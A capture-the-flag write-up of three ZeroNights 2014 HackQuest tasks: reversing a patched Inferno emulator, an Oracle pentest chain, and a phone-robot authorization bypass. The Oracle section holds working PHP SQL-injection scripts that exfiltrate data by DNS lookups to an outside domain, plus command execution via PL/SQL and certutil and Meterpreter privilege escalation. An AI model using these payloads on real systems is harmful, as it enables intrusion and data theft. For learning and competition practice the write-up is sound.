ZeroNights 2014 HackQuest write-up

Hint: flag is not a frag: once you've got it, you can get one more...

Here goes a small write-up on 3 challenges from ZeroNights hackquest (1-10.10.13).
Each day was new task, each winner (one per day) was granted an invite. I was first to solve 2 of 8 tasks.

Task #1 ("Alighieri", Reverse)

We're given a binary 2014_1_Alighieri.exe.

Код:
$ file 2014_1_Alighieri.exe 
2014_1_Alighieri.exe: PE32 executable (console) Intel 80386, for MS Windows
After observing the file with strings utility we can conclude, that it's aid emulator for InfernoOS (https://github.com/fr1tz/aid/blob/master/emu/port/main.c).
Let's launch the binary in wine:

Код:
$ wine 2014_1_Alighieri.exe 
...Gimme something...
$ wine 2014_1_Alighieri.exe asd
...But already my desire and my will 
 were being turned like a wheel, all at one speed, 
 by the Love which moves the sun and the other stars.-1.000000 -1.200000 !
-1.000000 -1.200000 !
-1.222220 -1.200000 !
0.000000 -1.200000 !
Your system has been tainted... S0rry!
А═─Хс┴с_&*▌№ў<■Ц╗ВB┐VI╒N│
Clearly, the emulator is somehow patched. While observing the binary with strings and hex-editor we can notice, that there're a lot of .gz-filenames and GZip-headers. Parse the .gz files using '\xc0\x0c\x80\x30\x80\x40' magic string.
These GZip archives contain source code packages of the binaries written in Limbo language.
Unpack emuinit.b.gz and take a look at this part of code:

Код:
if(len args < 2)
  sys->fprint(sys->fildes(2), "Gimme something...");
 else{
   str := "-c /dis/echo " + hd tl args + " | /dis/crypt";
  args1 := list of {"sh", str,};

  mod: Command;
  (mod, args1) = loadmod(args1);
  mod->init(nil, args1);
 }
There's a vulnerability leading to sandbox escape:

Код:
$ wine 2014_1_Alighieri.exe 'LOL ;/dis/sh.dis;/dis/echo AHAHA'
...LOL
; ls /
/
/appl
/bin
/boot
/cdrom
/chan
/dev
/dis
/env
/etc
/fd
/fonts
/home
/initrd.img
/initrd.img.old
/lib
/lib
/lib32
/lib64
/libx32
/lost+found
/media
/mnt
/mnt
/n
/net
/net.alt
/nvfs
/opt
/poem.txt
/prof
/prog
/root
/run
/sbin
/srv
/tmp
/usr
/var
/vmlinuz
Many useful binaries are absent in the system, but we can download them (http://code.google.com/r/jasoncatena-acmesac/source/browse/), and put in /tmp on the host machine, which is mounted in Inferno VM.

Код:
 ; ./cat.dis /mnt/blas.txt
I2luY2x1ZGUgImxpYjkuaCIKI2luY2x1ZGUgIm1hdGhpLmgiCgpkb3VibGUKZG90KGludCBuLCBk
b3VibGUgKngsIGRvdWJsZSAqeSkKewoJZG91YmxlCXN1bSA9IDA7CglpbnQgaSA9IChpbnQpIHlb
MF07Cgl1bnNpZ25lZCBjaGFyIGtbXSA9IHsgMCwxLDIsMyw0LDUsNiw3LDgsOSB9OwoJdW5zaWdu
ZWQgY2hhciBqID0gKHVuc2lnbmVkIGNoYXIpIHhbMF07CQoKCXByaW50ZigiJWYgJWYgIVxuIiwg
eFszXSwgeVszXSk7CgoJaWYgKG4gPD0gMCkgCgkJcmV0dXJuIDA7Cgl3aGlsZSAobi0tKSB7CgkJ
c3VtICs9ICp4KysgKiAqeSsrOwoJfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgCiAgICAgIAlzdW0gPSAoZG91YmxlKSAoaiBeIGtbaV0pOwoKCXJldHVybiBzdW07Cn0K
CgppbnQKaWFtYXgoaW50IG4sIGRvdWJsZSAqeCkKewoJaW50CWksIG07Cglkb3VibGUJeG0sIGE7
CglpZiAobiA8PSAwKSAKCQlyZXR1cm4gMDsKCW0gPSAwOwoJeG0gPSBmYWJzKCp4KTsKCWZvciAo
aSA9IDE7IGkgPCBuOyBpKyspIHsKCQlhID0gZmFicygqKyt4KTsKCQlpZiAoeG0gPCBhKSB7CgkJ
CW0gPSBpOwoJCQl4bSA9IGE7CgkJfQoJfQoJcmV0dXJuIG07Cn0KCgpkb3VibGUKbm9ybTEoaW50
IG4sIGRvdWJsZSAqeCkKewoJZG91YmxlCXN1bSA9IDA7CglpZiAobiA8PSAwKSAKCQlyZXR1cm4g
MDsKCXdoaWxlIChuLS0pIHsKCQlzdW0gKz0gZmFicygqeCk7CgkJeCsrOwoJfQoJcmV0dXJuIHN1
bTsKfQoKCmRvdWJsZQpub3JtMihpbnQgbiwgZG91YmxlICp4KQp7Cglkb3VibGUJc3VtID0gMDsK
CWlmIChuIDw9IDApIAoJCXJldHVybiAwOwoJd2hpbGUgKG4tLSkgewoJCXN1bSArPSAqeCAqICp4
OwoJCXgrKzsKCX0KCXJldHVybiBzdW07Cn0K
Decode:

Код:
#include "lib9.h"
#include "mathi.h"

double
dot(int n, double *x, double *y)
{
	double	sum = 0;
	int i = (int) y[0];
	unsigned char k[] = { 0,1,2,3,4,5,6,7,8,9 };
	unsigned char j = (unsigned char) x[0];	

	printf("%f %f !\n", x[3], y[3]);

	if (n <= 0) 
		return 0;
	while (n--) {
		sum += *x++ * *y++;
	}
                                        
      	sum = (double) (j ^ k[i]);

	return sum;
}


int
iamax(int n, double *x)
{
	int	i, m;
	double	xm, a;
	if (n <= 0) 
		return 0;
	m = 0;
	xm = fabs(*x);
	for (i = 1; i < n; i++) {
		a = fabs(*++x);
		if (xm < a) {
			m = i;
			xm = a;
		}
	}
	return m;
}


double
norm1(int n, double *x)
{
	double	sum = 0;
	if (n <= 0) 
		return 0;
	while (n--) {
		sum += fabs(*x);
		x++;
	}
	return sum;
}


double
norm2(int n, double *x)
{
	double	sum = 0;
	if (n <= 0) 
		return 0;
	while (n--) {
		sum += *x * *x;
		x++;
	}
	return sum;
}
Note that dot() function obviously always returns 51 (ord('3')).
Seems like this algorithm is launched at the system initialization. Now let's take a look at crypto.b:

Код:
...

	x := array[] of {50.0, 432432.32423, 0.0, -1.0};
	y := array[] of {1.00, 24373.231879, 0.0, -1.2};
	
	decrypt := 0;
	secret: array of byte;
	alg := DEFAULTALG;
	
	rand->init(132321);
	
	s := "P" + "r" + "i" + "vet" + "Py" + "otr" + "!" + "Py" + "otr" + "lo" + "ves" + "Go" + "&Po" + "ke" + "mons" + "!236"+"783";
	
	secret = array of byte s;

	# enough for tips guys, the s3cr3t could be found in the dis file... you need to go d333p3r inside it!

	s = string secret;
	
	sys->fprint(stderr, "Your system has been tainted... S0rry!\r\n");
...
'PrivetPyotr!PyotrlovesGo&Pokemons!236783' is not a flag, there's something more. We can't see any usage of rand here, the source code is clearly trimmed.
Let's get the disassembly of crypt.dis:

Код:
; disdump crypt.dis
frame     $8, 40(fp)
...
newa      $4, $3, 40(fp)		// x := array[] of {50.0, 432432.32423, 0.0, -1.0};
indf      40(fp), 96(fp), $0
movf      80(mp), 0(96(fp))
indf      40(fp), 96(fp), $1
movf      96(mp), 0(96(fp))
indf      40(fp), 96(fp), $2
movf      40(mp), 0(96(fp))
indf      40(fp), 96(fp), $3
movf      104(mp), 0(96(fp))
newa      $4, $3, 48(fp)		// y := array[] of {1.00, 24373.231879, 0.0, -1.2};
indf      48(fp), 96(fp), $0
movf      48(mp), 0(96(fp))
indf      48(fp), 96(fp), $1
movf      88(mp), 0(96(fp))
indf      48(fp), 96(fp), $2
movf      40(mp), 0(96(fp))
indf      48(fp), 96(fp), $3
movf      112(mp), 0(96(fp))
movw      $0, 60(fp)
movp      228(mp), 56(fp)
mframe    224(mp), $0, 96(fp)
movw      $132321, 32(96(fp))		// rand->init(132321);
mcall     96(fp), $0, 224(mp)
movp      136(mp), 76(fp)
cvtca     76(fp), 44(fp)
indb      44(fp), 96(fp), $2
mframe    212(mp), $0, 100(fp)
movp      40(fp), 32(100(fp))
movp      48(fp), 36(100(fp))
lea       112(fp), 16(100(fp))
mcall     100(fp), $0, 212(mp)
cvtfw     112(fp), 92(fp)
cvtwb     92(fp), 0(96(fp))
indf      40(fp), 100(fp), $1
indf      40(fp), 96(fp), $2		// s[2] = chr(int(dot(3,x,y))&0xFF)
mulf      0(96(fp)), 64(mp), 112(fp)		// x[1] = (x[2] * 64(mp))/72(mp)
divf      72(mp), 112(fp), 0(100(fp))
indf      48(fp), 100(fp), $2		// y[2] = 48(fp) = 50.0
movf      48(mp), 0(100(fp))
indb      44(fp), 100(fp), $4		// s[2] = chr(int(dot(3,x,y))&0xFF)
mframe    212(mp), $0, 92(fp)
movp      40(fp), 32(92(fp))
movp      48(fp), 36(92(fp))
lea       112(fp), 16(92(fp))
mcall     92(fp), $0, 212(mp)
cvtfw     112(fp), 96(fp)
cvtwb     96(fp), 0(100(fp))
indf      40(fp), 100(fp), $3
indf      40(fp), 96(fp), $3
mulf      0(96(fp)), 56(mp), 0(100(fp))		// x[3] *= 56(mp) = 1.22222
indf      48(fp), 100(fp), $2
movf      40(mp), 0(100(fp))		// y[2] = 40(mp) = 0.0
indb      44(fp), 100(fp), $35		// s[35] = chr(int(dot(3,x,y))&0xFF)
mframe    212(mp), $0, 92(fp)
movp      40(fp), 32(92(fp))
movp      48(fp), 36(92(fp))
lea       112(fp), 16(92(fp))
mcall     92(fp), $0, 212(mp)
cvtfw     112(fp), 96(fp)
cvtwb     96(fp), 0(100(fp))
indf      40(fp), 100(fp), $3
indf      40(fp), 96(fp), $1
mulf      0(96(fp)), 64(mp), 112(fp)		// x[3] *= (x[1] * 64(mp))/72(mp)
divf      72(mp), 112(fp), 0(100(fp))
indf      48(fp), 100(fp), $2
movf      40(mp), 0(100(fp))		// y[2] = 40(mp) = 0.0
indb      44(fp), 100(fp), $36		// s[36] = chr(int(dot(3,x,y))&0xFF)
mframe    212(mp), $0, 92(fp)
movp      40(fp), 32(92(fp))
movp      48(fp), 36(92(fp))
lea       112(fp), 16(92(fp))
mcall     92(fp), $0, 212(mp)
cvtfw     112(fp), 96(fp)
cvtwb     96(fp), 0(100(fp))
indb      44(fp), 100(fp), $37		// s[37] = rand(2014)
mframe    224(mp), $1, 92(fp)
movw      $2014, 32(92(fp))
lea       96(fp), 16(92(fp))
mcall     92(fp), $1, 224(mp)
cvtwb     96(fp), 0(100(fp))
indb      44(fp), 100(fp), $34		// s[34] = rand(2014) - 50
mframe    224(mp), $1, 92(fp)
movw      $2014, 32(92(fp))
lea       96(fp), 16(92(fp))
mcall     92(fp), $1, 224(mp)
subw      $50, 96(fp)
...
The next step is to analyze rand() algorithm. The source code of patched library is located at /appl/lib/rand.b.

Код:
implement Rand;

include "rand.m";

rsalt: big;

init(seed: int)
{
	rsalt = big 10;
}

MASK: con (big 1<<63)-(big 1);

rand(modulus: int): int
{
	rsalt = rsalt * big 1103515245 + big 12345;
	if(modulus <= 0)
		return 0;
	return int (((rsalt&MASK)>>10) % big modulus);
}

# 0 < modulus < 2^53
bigrand(modulus: big): big
{
	rsalt = rsalt * big 1103515245 + big 12345;
	if(modulus <= big 0)
		return big 0;
	return ((rsalt&MASK)>>10) % modulus;
}
Let's put all together and rewrite algorithm of key generation in python:

Код:
rsalt = 10
MASK = (1<<63)-(1)

def rand(modulus):
	global rsalt
	global MASK
	rsalt = rsalt * 1103515245 + 12345;
	if modulus <= 0:
		return 0
	return int (((rsalt&MASK)>>10) % modulus)


s = [ord(x) for x in 'PrivetPyotr!PyotrlovesGo&Pokemons!236783']
s[2] = 51
s[4] = 51
s[35] = 51
s[36] = 51
s[37] = rand(2014) & 0xFF
s[34] = rand(2014) - 50 & 0xFF

print ''.join([chr(x) for x in s])
Launch it and get the flag:

Код:
$ python genkey.py 
Pr3v3tPyotr!PyotrlovesGo&Pokemons!w33\83
Task #2 ("Yolochka", Pentest/Misc)

We're given two IP addresses, scan them with NMap and get the following result: one server has 9100 (Apache Tomcat) and 1521 (Oracle TNS) ports opened and other has only 1521 (tcpwrapped).

This task contained many mistakes, and it took a lot of time to solve it. Here're the steps, which actually led to the flag.

1. Guess the directory on the web-server (it's the name of the task): http://80.70.234.121:9100/yolochka/

2. Fuzz the form there, then read the hint, that it's not an SQL-injection in the context of some query -- you can inject the whole query instead.
Write an exploit for DNS data exfiltration:

PHP код:
<?php

for($i 1$i 100; ++$i) {
    
$query "SELECT table_name FROM (SELECT DISTINCT owner, ROWNUM r, table_name FROM all_tables) WHERE r=$i";
    
$name urlencode("select UTL_INADDR.get_host_address(($query)||'.zeronights.ahack.ru') from dual");
    
file_get_contents("http://80.70.234.121:9100/yolochka/response.jsp?name=$name");
}
Note this in Bind9 log file:
Код:
queries: info: client 74.125.46.19#64029: query: SDO_WS_CONFERENCE_PARTICIPANTS.zeronights.ahack.ru IN A -ED (192.168.1.105)
queries: info: client 74.125.46.81#50980: query: SDO_TIN_PC_SEQ.zeronights.ahack.ru IN A -ED (192.168.1.105)
queries: info: client 74.125.74.147#54802: query: SDO_TIN_PC_SYSDATA_TABLE.zeronights.ahack.ru IN A -ED (192.168.1.105)
queries: info: client 74.125.74.82#58315: query: WWV_FLOW_DUAL100.zeronights.ahack.ru IN A -ED (192.168.1.105)
queries: info: client 74.125.74.16#48794: query: CUSTOMERS1.zeronights.ahack.ru IN A -ED (192.168.1.105)
queries: info: client 173.194.98.151#54859: query: SDO_WFS_LOCAL_TXNS.zeronights.ahack.ru IN A -ED (192.168.1.105)
queries: info: client 74.125.74.80#38451: query: SDO_GR_RDT_1.zeronights.ahack.ru IN A -ED (192.168.1.105)
queries: info: client 173.194.98.149#47182: query: SDO_GR_PARALLEL.zeronights.ahack.ru IN A -ED (192.168.1.105)
Let's get the column names:

PHP код:
<?php

for($i 1$i 100; ++$i) {
    
$query "SELECT column_name FROM (SELECT DISTINCT owner, ROWNUM r, column_name FROM all_tab_columns WHERE table_name='CUSTOMERS1') WHERE r=$i";
    
$name urlencode("select UTL_INADDR.get_host_address(($query)||'.$i.zeronights.ahack.ru') from dual");
    
file_get_contents("http://80.70.234.121:9100/yolochka/response.jsp?name=$name");
}
Код:
queries: info: client 74.125.74.144#53451: query: CUSTOMER_ID.1.zeronights.ahack.ru IN A -ED (192.168.1.105)
queries: info: client 74.125.74.146#55711: query: CUSTOMER_NAME.2.zeronights.ahack.ru IN A -ED (192.168.1.105)
queries: info: client 173.194.98.145#57572: query: CITY.3.zeronights.ahack.ru IN A -ED (192.168.1.105)
Data extraction from the table is impossible due to some mistakes, thus, the author gave the password for Oracle TNS for everyone, who managed to get the column names:
Код:
login for TNS - c##webdbadmin, password - strongpassword123
3. There's nothing interesting in the database. But do you remember the second host? Maybe it's time for Database link.
The problem is that we don't know the credentials. TNS poisoning should've helped us, but it didn't work. Thus, the author had to give us the credentials SID (though we brute forced SID earlier):

Код:
31337=SYS
poradb
BRUKERNAVN
BRUKERHAVN is the default account, let's try it:

Код:
CREATE DATABASE LINK TEST123 CONNECT TO BRUKERNAVN IDENTIFIED BY "PASSWORD" USING '(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=80.70.234.122)(PORT=1521))(CONNECT_DATA=(SERVER = DEDICATED)(SERVICE_NAME=PORADB)(ROLE=DEFAULT)))';
4. Get the tables:

Код:
select * from user_tables@TEST123
There's a table PRIVATESTORAGE with fields login and password. Login contains 31337 (SYS, as mentioned in the hint above), password seems blank, rawtohex(password) yields 20000000....
The new hint says: "redaction". Ok! We can bypass redaction mechanism (google for "Oracle redaction") simply by exploiting boolean-based SQL-injection like this:

Код:
select * from PRIVATESTORAGE@TEST123 where ascii(substr(password,1,1))>40
We get the password for SYS on the first TNS: 871526.

5. Log into database, and there's no flag! Seems like we need code execution. Java procedure failed due to peculiarities of Navicat, but PL/SQL worked fine:

Код:
DECLARE
  l_output DBMS_OUTPUT.chararr;
  l_lines  INTEGER := 1000;
BEGIN
  DBMS_OUTPUT.enable(1000000);
  DBMS_JAVA.set_output(1000000);

  host_command('dir');
  DBMS_OUTPUT.get_lines(l_output, l_lines);

  FOR i IN 1 .. l_lines LOOP
    -- Do something with the line.
    -- Data in the collection - l_output(i)
    DBMS_OUTPUT.put_line(l_output(i));
  END LOOP;
END;
Hint says now to perform DLL-injection. We tried to replace oci.dll with custom one (generated by x64 msfvenom), but no success, 'cause DLL execution hasn't been triggered.
BTW, FTP didn't work, thus, we wrote base64-encoded binaries to the file system via echo and decoded them with certutil like this:

Код:
...
host_command('echo cmVsZWFzZVxidWlsZC0yLjIuMTRcc3VwcG9ydFxSZWxlYXNlXGFiLnBkYgA=>>hui.enc');

host_command('certutil -decode hui.enc hui.exe');
host_command('hui.exe');
6. This command execution via Navicat is too inconvinient, let's upload Meterpreter!
The fact is that simple privilege escalation in Meterpreter worked and gave the flag.

Код:
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
WIN-A4CD786SH46\oracuser

Impersonation Tokens Available
========================================
NT AUTHORITY\SYSTEM
WIN-A4CD786SH46\Administrator
meterpreter > impersonate_token  WIN-A4CD786SH46\\Administrator
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[-] No delegation token available
[+] Successfully impersonated user WIN-A4CD786SH46\Administrator
meterpreter > getuid
Server username: WIN-A4CD786SH46\Administrator
Код:
meterpreter > cd password
meterpreter > ls

Listing: c:\Users\Administrator\Desktop\password
================================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
40777/rwxrwxrwx   0     dir   2014-10-03 04:02:41 +0400  .
40555/r-xr-xr-x   0     dir   2014-10-03 04:02:41 +0400  ..
100666/rw-rw-rw-  17    fil   2014-10-02 20:55:46 +0400  passwords.txt

meterpreter > cat passwords.txt
belkas'elakolbasy
We can even get SYSTEM:

Код:
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Task #7 ("private bank haxing", Web/Misc)

We're given the site of "bank", there's a login form, fuzzing gives nothing.
But wait... "private bank haxing" == "Private Bank haXing" = "PBX". Is this task about VoIP hacking?
Look in the HTML code and see:

Код HTML:
<!--<li><a href="tel:88005052098">Support</a></li>-->
This is crazy, but call there maybe? There's a robot which can authorize you by last 6 digits of card number. After a simple fuzzing (DTMF allows to send only digits, '*' and '#') we got an authorization bypass via '#'!
Before that we thought about integer overflow via 999999999*999999999 or 99**9999 (i there's python on backend) and about card number brute force using Luhn algorithm.

As an auhor explained, '#' means the end of data transmission for Read() in Asterisk. So, we sent an empty string, which was then plugged into SQL-query with LIKE statement.

Robot uttered us a card number, then we used web-interface to brute force PIN-code: "1337".
After that we could authorize via phone call and get the flag: md5("ASTERISK") == "71ad0fa6a6a3e480ec3446bce7073e63".

Actually, this was a mistake of author, because there was only one card number in the database. Otherwise, we should've guesed a couple of digits.